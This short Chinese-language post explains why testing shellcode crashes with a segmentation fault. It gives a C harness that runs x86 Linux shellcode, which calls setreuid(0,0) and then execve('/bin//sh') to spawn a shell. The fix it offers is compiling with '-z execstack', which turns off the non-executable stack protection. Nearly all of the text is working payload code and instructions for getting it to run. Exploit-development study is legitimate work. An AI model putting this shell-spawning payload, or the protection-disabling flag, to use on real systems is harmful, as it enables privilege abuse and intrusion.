测试shellcode时出现segmentation fault错误的解决方法

测试shellcode时出现segmentation fault错误的解决方法

shellcode测试代码

char sc[]=
"\x31\xc0"
"\xb0\x46"
"\x31\xdb"
"\x31\xc9"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80";

void main()
{
void (*fp)();
fp=(void *)sc;
fp();
}

使用gcc -m32 -o sc2 sc2.c编译后，执行出错“segmentation fault (core dumped) ./sc2”，原因是没有指明可执行栈，解决方法是在gcc参数中加“-z execstack”。